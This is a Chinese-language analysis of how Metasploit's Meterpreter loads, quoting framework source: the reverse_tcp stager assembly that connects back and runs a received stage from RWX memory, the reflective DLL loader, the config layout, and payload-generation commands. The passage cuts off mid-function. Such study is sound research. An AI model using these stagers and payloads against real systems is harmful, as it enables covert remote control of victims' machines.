Metasploit - Meterpreter研究

一、meterpreter简介

Meterpreter 是一个功能强大的远程控制框架,常用于渗透测试和网络攻击中。它是 Metasploit 框架的一部分,Metasploit 是一个流行的开源渗透测试工具集。Meterpreter 提供了一个灵活的、模块化的平台,使攻击者能够在受攻击的系统上执行各种操作。
Meterpreter 具有以下特点和功能:
  1. 远程控制:Meterpreter 允许攻击者通过网络与远程受感染的计算机建立连接,并获取对该计算机的完全控制权限。
  2. 持久性:Meterpreter 提供了一系列方法,可以在受感染系统上实现持久化,以确保攻击者在系统重启后仍然能够访问。
  3. 功能模块:Meterpreter 提供了许多内置模块,用于执行各种操作,包括文件系统访问、网络探测、提权、远程 shell 访问等。
  4. 加密通信:Meterpreter 使用加密的通信通道,确保攻击者和受感染系统之间的数据传输是安全的,并且可以绕过防火墙和入侵检测系统的监控。
  5. 跨平台支持:Meterpreter 可以在多个操作系统上运行,包括 Windows、Linux、Mac 等。
 

二、payload类型

在metasploit中payload分成三种single、Stagers、Stages,在metasploit中是这样描述三种payload的。
单独的载荷(Singles) 单独的载荷是一次性的。它们可以与Metasploit创建通信机制,但不一定必须如此。一个需要使用单独载荷的场景示例是目标没有网络访问的情况下,可以通过USB键传递文件格式漏洞利用。
载入器(Stagers) 载入器是一个小型存根,旨在创建某种形式的通信,然后将执行传递给下一阶段。使用载入器解决了两个问题。首先,它允许我们最初使用一个小型载荷来加载具有更多功能的大型载荷。其次,它使得将通信机制与最终阶段分离成为可能,这样就可以使用一个载荷与多个传输一起使用而无需重复代码。
阶段(Stages) 由于载入器已经通过为我们分配一大块内存来处理任何大小限制,因此阶段可以任意大。其中一个优点是可以使用类似C语言的高级语言编写最终阶段的载荷。
 
理论上来说meterpreter属于Stages,即在通过Stagers建立通信并分配好一段RWX内存后,将meterpreter传输过去并放置在内存中执行。
 

三、meterpreter加载过程

  1. 整体过程(简略)

以payload/windows/meterpreter/reverse_tcp为例:
use payload/windows/meterpreter/reverse_tcp
这种属于Stagers + Stages的payload
  • 生成一个带日志的meterpreter payload,方便对meterpreter加载过程进行观察
generate -f exe -o debugmeterpreter.exe MeterpreterDebugBuild=true
生成时是先生成了一个stagers,作为加载器,victim机器执行后,先建立和控制端的连接,后续通过该TCP连接会将剩余的Stages发送过去。
  • 接着生成一个handler来处理victim的连接
to_handler

  • 最后在victim机器执行debugmeterpreter.exe,此时会建立reverse_tcp连接并将Stage发送到victim机器并进行内存加载
  1. 调试信息

可以看到,metasploit打印出了一些调试信息,同时meterpreter也是生成的debug版本,为了对整体过程进行跟踪和分析,需要先了解如何进行日志输出。
  • 针对metasploit
源码:https://github.com/rapid7/metasploit-framework
ruby脚本进行日志输出,可以用自带的log输出,如print_status。但是这个不一定所有的源文件内都能使用。
也可以用puts,例如需要输出当前的调用堆栈可以puts caller.join("\n")
 
  • 针对meterpreter
源码:https://github.com/rapid7/metasploit-payloads
由于是内存加载,没法挂调试器调试,好在源码中的日志输出十分详细,只要通过生成payload的时候设置参数就可以使用debug版本的模块,此时会通过OutputDebugString输出日志,用dbgview就可以查看。
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/metasploit-payloads-2.0.105/lib/metasploit-payloads.rb
  #
  # Get the path to a meterpreter binary by full name.
  #
  def self.meterpreter_path(name, binary_suffix, debug: false)
    binary_suffix = binary_suffix&.gsub(/dll$/, 'debug.dll') if debug
    path(METERPRETER_SUBFOLDER, "#{name}.#{binary_suffix}".downcase)
  end
 
可以看到获取路径时如果是设置成debug模式就会使用 ".debug.dll"的模块
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/metasploit-payloads-2.0.105/data/meterpreter
  • 调试模式开关MeterpreterDebugBuild,在generate的时候设置即可,也可以通过set命令直接设置为true
 
  1. Stagers

本例中是reverse_tcp,这个主要负责和控制端建立首次连接。
/usr/share/metasploit-framework/modules/payloads/stagers/windows/reverse_tcp.rb
 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 296

  include Msf::Payload::Stager
  include Msf::Payload::Windows::ReverseTcp

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Reverse TCP Stager',
      'Description' => 'Connect back to the attacker',
      'Author'      => ['hdm', 'skape', 'sf'],
      'License'     => MSF_LICENSE,
      'Platform'    => 'win',
      'Arch'        => ARCH_X86,
      'Handler'     => Msf::Handler::ReverseTcp,
      'Convention'  => 'sockedi',
      'Stager'      => {'RequiresMidstager' => false}
    ))
  end
end
其实主要代码在Msf::Payload::Windows::ReverseTcp中
/usr/share/metasploit-framework/lib/msf/core/payload/windows/reverse_tcp.rb
 
  • 从generate_reverse_tcp看起
  def generate_reverse_tcp(opts={})
    combined_asm = %Q^
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
      #{asm_block_api}
      start:
        pop ebp
      #{asm_reverse_tcp(opts)}
      #{asm_block_recv(opts)}
    ^
    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  end
  #首先是call start后面是 #{asm_block_api},这里把api_call的位置放入了堆栈,之后通过pop ebp取出,
  #之后通过ebp负责对api进行调用,接下来就是两段shellcode -> asm_reverse_tcp、asm_block_recv
  #分别负责建立连接和数据接收
 
这里的#{asm_block_api}是/usr/share/metasploit-framework/lib/msf/core/payload/windows/block_api.rb定义的函数,会根据platform从block_api.x86.graphml生成一段对应的机器码,用于从api的hash获取函数地址,可以直接打日志看看这段代码是啥东西:
 
 
  • asm_reverse_tcp建立tcp连接
def asm_reverse_tcp(opts={})

    retry_count  = [opts[:retry_count].to_i, 1].max
    encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
    encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first

    addr_fam      = 2
    sockaddr_size = 16

    asm = %Q^
      ; Input: EBP must be the address of 'api_call'.
      ; Output: EDI will be the socket for the connection to the server
      ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

      reverse_tcp:
        push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
        push 'ws2_'             ; ...
        push esp                ; Push a pointer to the "ws2_32" string on the stack.
        push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
        mov eax, ebp
        call eax                ; LoadLibraryA( "ws2_32" )

        mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
        sub esp, eax            ; alloc some space for the WSAData structure
        push esp                ; push a pointer to this stuct
        push eax                ; push the wVersionRequested parameter
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
        call ebp                ; WSAStartup( 0x0190, &WSAData );

      set_address:
        push #{retry_count}     ; retry counter

      create_socket:
        push #{encoded_host}    ; host in little-endian format
        push #{encoded_port}    ; family AF_INET and port number
        mov esi, esp            ; save pointer to sockaddr struct

        push eax                ; if we succeed, eax will be zero, push zero for the flags param.
        push eax                ; push null for reserved parameter
        push eax                ; we do not specify a WSAPROTOCOL_INFO structure
        push eax                ; we do not specify a protocol
        inc eax                 ;
        push eax                ; push SOCK_STREAM
        inc eax                 ;
        push eax                ; push AF_INET
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
        call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this
    ^
    # Check if a bind port was specified
    if opts[:bind_port]
      bind_port    = opts[:bind_port]
      encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
      asm << %Q^
        xor eax, eax
        push 11
        pop ecx
        push_0_loop:
        push eax               ; if we succeed, eax will be zero, push it enough times
                               ; to cater for both IPv4 and IPv6
        loop push_0_loop

                         ; bind to 0.0.0.0/[::], pushed above
        push #{encoded_bind_port}   ; family AF_INET and port number
        mov esi, esp           ; save a pointer to sockaddr_in struct
        push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
        push esi               ; pointer to the sockaddr_in struct
        push edi               ; socket
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
        call ebp               ; bind( s, &sockaddr_in, 16 );
        push #{encoded_host}    ; host in little-endian format
        push #{encoded_port}    ; family AF_INET and port number
        mov esi, esp
      ^
    end

    asm << %Q^
      try_connect:
        push 16                 ; length of the sockaddr struct
        push esi                ; pointer to the sockaddr struct
        push edi                ; the socket
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
        call ebp                ; connect( s, &sockaddr, 16 );

        test eax,eax            ; non-zero means a failure
        jz connected

      handle_connect_failure:
        ; decrement our attempt count and try again
        dec dword [esi+8]
        jnz try_connect
    ^

    if opts[:exitfunk]
      asm << %Q^
      failure:
        call exitfunk
      ^
    else
      asm << %Q^
      failure:
        push 0x56A2B5F0         ; hardcoded to exitprocess for size
        call ebp
      ^
    end

    asm << %Q^
      ; this  lable is required so that reconnect attempts include
      ; the UUID stuff if required.
      connected:
    ^

    asm << asm_send_uuid if include_send_uuid

    asm
  end
  
  #这段汇编注释的比较清楚了,主要就是建立连接的过程,有两个需要注意的
  #1.ebp是api_call,通过ebp进行各种api调用
  #2.edi最后会存储socket句柄,后续使用,最终会要传递给meterpreter_loader
  • asm_block_recv接收数据
 #
  # Generate an assembly stub with the configured feature set and options.
  #
  # @option opts [Bool] :reliable Whether or not to enable error handling code
  #
  def asm_block_recv(opts={})
    reliable     = opts[:reliable]
    #先接收stage长度,4字节
    asm = %Q^
      recv:
        ; Receive the size of the incoming second stage...
        push 0                  ; flags
        push 4                  ; length = sizeof( DWORD );
        push esi                ; the 4 byte buffer on the stack to hold the second stage length
        push edi                ; the saved socket
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
        call ebp                ; recv( s, &dwLength, 4, 0 );
    ^

    if reliable
      asm << %Q^
        ; reliability: check to see if the recv worked, and reconnect
        ; if it fails
        cmp eax, 0
        jle cleanup_socket
      ^
    end

    #申请RWX的buffer作为接收stage用,基址放在ebx中,先push到堆栈中之后可以ret到stage
    #循环接收数据,通过判断长度直到接收完成
    asm << %Q^
        ; Alloc a RWX buffer for the second stage
        mov esi, [esi]          ; dereference the pointer to the second stage length
        push 0x40               ; PAGE_EXECUTE_READWRITE
        push 0x1000             ; MEM_COMMIT
        push esi                ; push the newly recieved second stage length.
        push 0                  ; NULL as we dont care where the allocation is.
        push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
        call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
        ; Receive the second stage and execute it...
        xchg ebx, eax           ; ebx = our new memory address for the new stage
        push ebx                ; push the address of the new stage so we can return into it

      read_more:
        push 0                  ; flags
        push esi                ; length
        push ebx                ; the current address into our second stage's RWX buffer
        push edi                ; the saved socket
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
        call ebp                ; recv( s, buffer, length, 0 );
    ^
    # 这里如果是reliable会做一些容错和清理
    if reliable
      asm << %Q^
        ; reliability: check to see if the recv worked, and reconnect
        ; if it fails
        cmp eax, 0
        jge read_successful

        ; something failed, free up memory
        pop eax                 ; get the address of the payload
        push 0x4000             ; dwFreeType (MEM_DECOMMIT)
        push 0                  ; dwSize
        push eax                ; lpAddress
        push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
        call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)

      cleanup_socket:
        ; clear up the socket
        push edi                ; socket handle
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
        call ebp                ; closesocket(socket)

        ; restore the stack back to the connection retry count
        pop esi
        pop esi
        dec [esp]               ; decrement the counter

        ; try again
        jnz create_socket
        jmp failure
      ^
    end
    
    #跳转到stage执行
    asm << %Q^
      read_successful:
        add ebx, eax            ; buffer += bytes_received
        sub esi, eax            ; length -= bytes_received, will set flags
        jnz read_more           ; continue if we have more to read
        ret                     ; return into the second stage
    ^

    if opts[:exitfunk]
      asm << asm_exitfunk(opts)
    end

    asm
  end
  
  # 注释较多就不逐行解释了,此处需要注意的有几个点
  #1. 第39行VirtualAlloc申请的内存会放入ebx中,通过push放入堆栈中,这里最后会在ret的时候直接返回到申请的那段内存中,即通过传输接收到的stage
  #2. socket句柄一直存放在edi中,后续返回到stage还需要用到
 
  1. Stages

通过之前的Stager已经接收到Stage的数据,同时edi存放的socket句柄,接下来就开始将控制权交给meterpreter loader了。先简单看下meterpreter loader的结构。
+--------------+
 | Patched DOS  |
 |    header    |
 +--------------+
 |              |
 .              .
 .  metsrv dll  .
 .              .
 |              |
 +--------------+
 | config block |
 +--------------+

1) Loader部分

最上面是魔改后的dos头,前面看到Stager最后阶段返回到Stage直接就是数据的最开始,这里是将dos头直接修改了一下用来调用该模块的导出ReflectiveLoader和DllMain。紧跟着模块的是一个config block,是一系列的配置。后面展开,先看加载部分。
/usr/share/metasploit-framework/lib/msf/core/payload/windows/meterpreter_loader.rb
  #stage_payload由stage_meterpreter和generate_config组成
  def stage_payload(opts={})
    stage_meterpreter(opts) + generate_config(opts)
  end
  • stage_meterpreter
def stage_meterpreter(opts={})
    ds = opts[:datastore] || datastore
    #判断是否为MeterpreterDebugBuild是否为true,打包的时候会选择debug模块或release模块
    debug_build = ds['MeterpreterDebugBuild']
    # Exceptions will be thrown by the mixin if there are issues.
    # 读取整个模块,这里dll放的是模块二进制数据,offset是ReflectiveLoader导出函数地址
    dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))

    asm_opts = {
      rdi_offset: offset,
      length:     dll.length,
      stageless:  opts[:stageless] == true
    }

    asm = asm_invoke_metsrv(asm_opts)

    # generate the bootstrap asm
    bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string

    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
    if bootstrap.length > 62
      raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
    end

    # patch the bootstrap code into the dll's DOS header...
    # 这里将生成的bootstrap直接覆盖了dll的dos头
    dll[ 0, bootstrap.length ] = bootstrap

    dll
  end
  • load_rdi_dll
  def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
    dll = ''
    puts dll_path
    ::File.open(dll_path, 'rb') { |f| dll = f.read }

    offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)

    unless offset
      raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
    end

    return dll, offset
  end
  • asm_invoke_metsrv (bootsharp生成)
def asm_invoke_metsrv(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'  保留MZ头
          pop edx               ; 'Z'
          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes) call + pop 获取当前地址
          push edx              ; restore edx 由于保留MZ头这里两条指令和MZ头指令做反操作
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????) ReflectiveLoader位置,通过之前ebx计算,MZ 2字节 call 5字节,所以-7
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} 
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          ; offset from ReflectiveLoader() to the end of the DLL
          ; 这里是取config的位置,因为config刚好在模块结尾
          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
    ^

    unless opts[:stageless] || opts[:force_write_handle] == true
    #Stager阶段的socket(edi)在这里放到了config的第一项
      asm << %Q^
          mov [ebx], edi        ; write the current socket/handle to the config
      ^
    end
    
    #接下来就是调用dllmain了,参数需要config的地址,其他两个参数不是很重要
    asm << %Q^
          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    ^
  end

2) config部分

实际的config生成代码在
/usr/share/metasploit-framework/lib/rex/payloads/meterpreter/config.rb
 def config_block
    # start with the session information
    # session信息
    config = session_block(@opts)

    # then load up the transport configurations
    # transport信息,可以有多份
    (@opts[:transports] || []).each do |t|
      config << transport_block(t)
    end

    # terminate the transports with NULL (wchar)
    config << "\x00\x00"

    # configure the extensions - this will have to change when posix comes
    # into play.
    file_extension = 'x86.dll'
    file_extension = 'x64.dll' unless is_x86?

    (@opts[:extensions] || []).each do |e|
      puts e
      config << extension_block(e, file_extension, debug_build: @opts[:debug_build])
    end

    # terminate the extensions with a 0 size
    config << [0].pack('V')

    # wire in the extension init data
    (@opts[:ext_init] || '').split(':').each do |cfg|
      name, value = cfg.split(',')
      config << extension_init_block(name, value)
    end

    # terminate the ext init config with -1
    config << "\xFF\xFF\xFF\xFF"

    # and we're done
    config
  end
end
从上面代码可以看到,config部分分三块分别是session config block、Transport config block、Extension configuration block

Session Config Block

 +--------------+
 |Socket Handle |
 +--------------+
 |  Exit func   |
 +--------------+
 |Session Expiry|
 +--------------+
 |              |
 |     UUID     |
 |              |
 |              |
 +--------------+
 |              |
 | session_guid | 
 |              |
 |              |
 +--------------+
 |              |
 |   log_path   |  -----> debug模式下会有这个,用来存放log路径
 |              |
 |              |
 +--------------+

  | <- 4 bytes ->|
直接上代码
def session_block(opts)
    uuid = opts[:uuid].to_raw
    exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]

    # if no session guid is given then we'll just pass the blank
    # guid through. this is important for stageless payloads
    if opts[:stageless] == true || opts[:null_session_guid] == true
      session_guid = "\x00" * 16
    else
      session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
    end
    
    # socket handle通过bootsharp传递到这里
    session_data = [
      0,                  # comms socket, patched in by the stager
      exit_func,          # exit function identifer
      opts[:expiration],  # Session expiry
      uuid,               # the UUID
      session_guid,        # the Session GUID
    ]
    pack_string = 'QVVA*A*'
    if opts[:debug_build]
      session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target
      pack_string << 'A*'
    end

    session_data.pack(pack_string)
  end

Transport Config Block

TCP的情况
 +--------------+
 |              |
 |    URL       |
 .              .
 .              .  512 characters worth
 .              .  (POSIX -> ASCII -> char)
 .              .  (Windows -> wide char -> wchar_t)
 .              .
 |              |
 +--------------+
 |  Comms T/O   |
 +--------------+
 |  Retry Total |
 +--------------+
 |  Retry Wait  |
 +--------------+

  | <- 4 bytes ->|
http的情况,接着上面会增加以下字段
+--------------+
 |              |
 |  Proxy host  |
 .              .  128 characters worth (wchar_t)
 |              |
 +--------------+
 |              |
 |  Proxy user  |
 .              .  64 characters worth (wchar_t)
 |              |
 +--------------+
 |              |
 |  Proxy pass  |
 .              .  64 characters worth (wchar_t)
 |              |
 +--------------+
 |              |
 | User agent   |
 .              .  256 characters worth (wchar_t)
 |              |
 +--------------+
 |              |
 |  SSL cert    |
 |  SHA1 hash   |
 |              |
 |              |
 +--------------+

  | <- 4 bytes ->|
 
def transport_block(opts)
    # Build the URL from the given parameters, and pad it out to the
    # correct size
    lhost = opts[:lhost]
    if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
      lhost = "[#{lhost}]"
    end

    url = "#{opts[:scheme]}://#{lhost}"
    url << ":#{opts[:lport]}" if opts[:lport]
    url << "#{opts[:uri]}/" if opts[:uri]
    url << "?#{opts[:scope_id]}" if opts[:scope_id]

    # if the transport URI is for a HTTP payload we need to add a stack
    # of other stuff
    pack = 'A*VVV'
    #字段分别表示 网址、连接超时时间、重试总时间、重试间隔时间
    transport_data = [
      to_str(url, URL_SIZE),     # transport URL
      opts[:comm_timeout],       # communications timeout
      opts[:retry_total],        # retry total time
      opts[:retry_wait]          # retry wait time
    ]

    #如果是http或者https还会有proxy,user agent、证书hash、还有http的头信息等
    if url.start_with?('http')
      proxy_host = ''
      if opts[:proxy_host] && opts[:proxy_port]
        prefix = 'http://'
        prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
        proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
      end
      proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
      proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
      proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
      ua = to_str(opts[:ua] || '', UA_SIZE)

      cert_hash = "\x00" * CERT_HASH_SIZE
      cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]

      custom_headers = opts[:custom_headers] || ''
      custom_headers = to_str(custom_headers, custom_headers.length + 1)

      # add the HTTP specific stuff
      transport_data << proxy_host      # Proxy host name
      transport_data << proxy_user      # Proxy user name
      transport_data << proxy_pass      # Proxy password
      transport_data << ua              # HTTP user agent
      transport_data << cert_hash       # SSL cert hash for verification
      transport_data << custom_headers  # any custom headers that the client needs

      # update the packing spec
      pack << 'A*A*A*A*A*A*'
    end

    # return the packed transport information
    transport_data.pack(pack)
  end
这个transport信息是可以有多份的。顺序排列,最后以"\x00\x00"结尾,meterpreter代码中会遍历这个transport,以url第一个字节是否为空来判断是否结束。
metasploit-payloads\c\meterpreter\source\metsrv\server_setup.c
static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize)
{
        DWORD totalSize = 0;
        MetsrvTransportCommon* current = transports;

        // The first part of the transport is always the URL, if it's NULL, we are done.
        while (current->url[0] != 0)
        {
                DWORD size;
                if (create_transport(remote, current, &size) != NULL)
                {
                        dprintf("[TRANS] transport created of size %u", size);
                        totalSize += size;

                        // go to the next transport based on the size of the existing one.
                        current = (MetsrvTransportCommon*)((LPBYTE)current + size);
                }
                else
                {
                        // This is not good
                        return FALSE;
                }
        }

        // account for the last terminating NULL wchar
        *parsedSize = totalSize + sizeof(wchar_t);

        return TRUE;
}

Extension Block

插件部分,meterpreter大部分功能包括一些基础功能都以插件的形式提供。当前以Stager+Stage方式是不会有这个Block的,只会在payload为Single时才会将插件直接打包在配置中。例如:
use payload/windows/meterpreter_reverse_tcp

def extension_block(ext_name, file_extension, debug_build: false)
    ext_name = ext_name.strip.downcase
    ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
                                                              file_extension, debug: debug_build))

    [ ext.length, ext ].pack('VA*')
  end

  def extension_init_block(name, value)
    ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name)

    # for now, we're going to blindly assume that the value is a path to a file
    # which contains the data that gets passed to the extension
    content = ::File.read(value, mode: 'rb') + "\x00\x00"
    data = [
      ext_id,
      content.length,
      content
    ]

    data.pack('VVA*')
  end
这里包含了两个部分,一个是extension_block,另一个是extension_init_block
一个Extension block:
 +--------------+
 |  Ext. Size   |
 +--------------+
 | Ext. content |
 +--------------+
 |  Ext. Size   |
 +--------------+
 | Ext. content |
 +--------------+
 |  NULL term.  |
 |   (4 bytes)  |
 +--------------+
 |    ExtId     |  -------> extension_init_block
 +--------------+
 | content.lenth|
 +--------------+
 |    content   |
 +--------------+
在所有extension block后会存放extension_init_block,这个主要是给插件传递一些附属参数用的,最终会在调用插件的StagelessInit方法时使用
/*!
 * @brief Load any stageless extensions that might be present in the current payload.
 * @param remote Pointer to the remote instance.
 * @param fd The socket descriptor passed to metsrv during intialisation.
 * @return Pointer to the end of the configuration.
 */
LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions)
{
        while (stagelessExtensions->size > 0)
        {
                dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
                HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER));
                load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
                stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
        }

        dprintf("[SERVER] All stageless extensions loaded");

        // once we have reached the end, we may have extension initializers
        LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size);

        // Config blog is terminated by a -1
        while (*(UINT*)initData != 0xFFFFFFFF)
        {
                UINT extensionId = *(UINT*)initData;
                DWORD dataSize = *(DWORD*)(initData + sizeof(DWORD));
                UINT offset = sizeof(UINT) + sizeof(DWORD);
                LPBYTE data = initData + offset;
                dprintf("[STAGELESS] init data at %p, ID %u, size is %d", initData, extensionId, dataSize);
                stagelessinit_extension(extensionId, data, dataSize);
                initData = data + dataSize;
                dprintf("[STAGELESS] init done, now pointing to %p", initData);
                dprintf("[STAGELESS] %p contains %x", *(UINT*)initData);
        }

        dprintf("[SERVER] All stageless extensions initialised");
        return initData + sizeof(UINT);
}
 
详细config定义可以参考:
https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html

3) 插件加载

Extensions

meterpreter的Extensions是一系列的提供标准导出的模块
NAME extension.dll
EXPORTS
        ReflectiveLoader @1 NONAME PRIVATE      //内存加载导出
        InitServerExtension @2 NONAME PRIVATE   //插件初始化
        DeinitServerExtension @3 NONAME PRIVATE //插件反初始化
        StagelessInit @4 NONAME PRIVATE         //Stageless初始化
        CommandAdded @5 NONAME PRIVATE          //命令添加通知
payload是single的话,在Extension Block中打包了需要的插件通过上面的load_stageless_extensions代码会加载插件。
 

多阶段的Stager + Stage下的插件加载

简单来说在session启动阶段会根据设置,发送命令让meterpreter加载Extensions。
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb
  def bootstrap(datastore = {}, handler = nil)
    session = self
......

    unless datastore['AutoLoadStdapi'] == false

      session.load_stdapi

      unless datastore['AutoSystemInfo'] == false
        session.load_session_info
      end

      # only load priv on native windows
      # TODO: abstract this too, to remove windows stuff
      if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
        session.load_priv rescue nil
      end
    end
    
......
    end
  end
这些最终会调用到client_core.rb中的load_library函数,将Extensions打包一个request传递给客户端
/usr/share/metasploit-framework/lib/rex/post/meterpreter/client_core.rb
#
  # Loads a library on the remote meterpreter instance.  This method
  # supports loading both extension and non-extension libraries and
  # also supports loading libraries from memory or disk depending
  # on the flags that are specified
  #
  # Supported flags:
  #
  # LibraryFilePath
  #   The path to the library that is to be loaded
  #
  # LibraryFileImage
  #   Binary object containing the library to be loaded
  #   (can be used instead of LibraryFilePath)
  #
  # TargetFilePath
  #   The target library path when uploading
  #
  # UploadLibrary
  #   Indicates whether or not the library should be uploaded
  #
  # SaveToDisk
  #   Indicates whether or not the library should be saved to disk
  #   on the remote machine
  #
  # Extension
  #   Indicates whether or not the library is a meterpreter extension
  
  def load_library(opts)
    library_path = opts['LibraryFilePath']
    library_image = opts['LibraryFileImage'] #模块映像
    target_path  = opts['TargetFilePath']
    load_flags   = LOAD_LIBRARY_FLAG_LOCAL

    # No library path, no cookie.
    if library_path.nil? && library_image.nil?
      raise ArgumentError, 'No library file path or image was supplied', caller
    end

    # Set up the proper loading flags
    if opts['UploadLibrary']
      load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
    end
    if opts['SaveToDisk']
      load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
    end
    if opts['Extension']
      load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
    end

    # Create a request packet
    # 调用COMMAND_ID_CORE_LOADLIB
    request = Packet.create_request(COMMAND_ID_CORE_LOADLIB)

    # If we must upload the library, do so now
    if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
      if library_image.nil?
        # Caller did not provide the image, load it from the path
        library_image = ''

        ::File.open(library_path, 'rb') { |f|
          library_image = f.read
        }
      end

      #模块映像放入包中传递给client
      if library_image
        request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
      else
        raise RuntimeError, "Failed to serialize library #{library_path}.", caller
      end

      # If it's an extension we're dealing with, rename the library
      # path of the local and target so that it gets loaded with a random
      # name
      if opts['Extension']
        if client.binary_suffix and client.binary_suffix.size > 1
          /(.*)\.(.*)/.match(library_path)
          suffix = $2
        elsif client.binary_suffix.size == 1
          suffix = client.binary_suffix[0]
        else
          suffix = client.binary_suffix
        end

        library_path = "ext#{rand(1000000)}.#{suffix}"
        target_path  = "/tmp/#{library_path}"
      end
    end

    # Add the base TLVs
    request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
    request.add_tlv(TLV_TYPE_FLAGS, load_flags)

    if !target_path.nil?
      request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
    end

    # Transmit the request and wait the default timeout seconds for a response
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)

    # No response?
    if response.nil?
      raise RuntimeError, 'No response was received to the core_loadlib request.', caller
    elsif response.result != 0
      raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
    end

    commands = []
    response.each(TLV_TYPE_UINT) { |c|
      commands << c.value
    }

    commands
  end

meterpreter客户端处理

metasploit-payloads\c\meterpreter\source\metsrv\remote_dispatch.c
接收COMMAND_ID_CORE_LOADLIB命令获取插件文件内容并调用其自身reflectiveLoader导出
/*
 * @brief Load a library from the request packet.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming request \c Packet.
 * @returns Indication of success or failure.
 */
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
        Packet *response = packet_create_response(packet);
        DWORD res = ERROR_SUCCESS;
        HMODULE library;
        PCHAR libraryPath;
        DWORD flags = 0;
        BOOL bLibLoadedReflectivly = FALSE;
  dprintf("[LOADLIB] here 1");

        Command *first = extensionCommands;

        do
        {
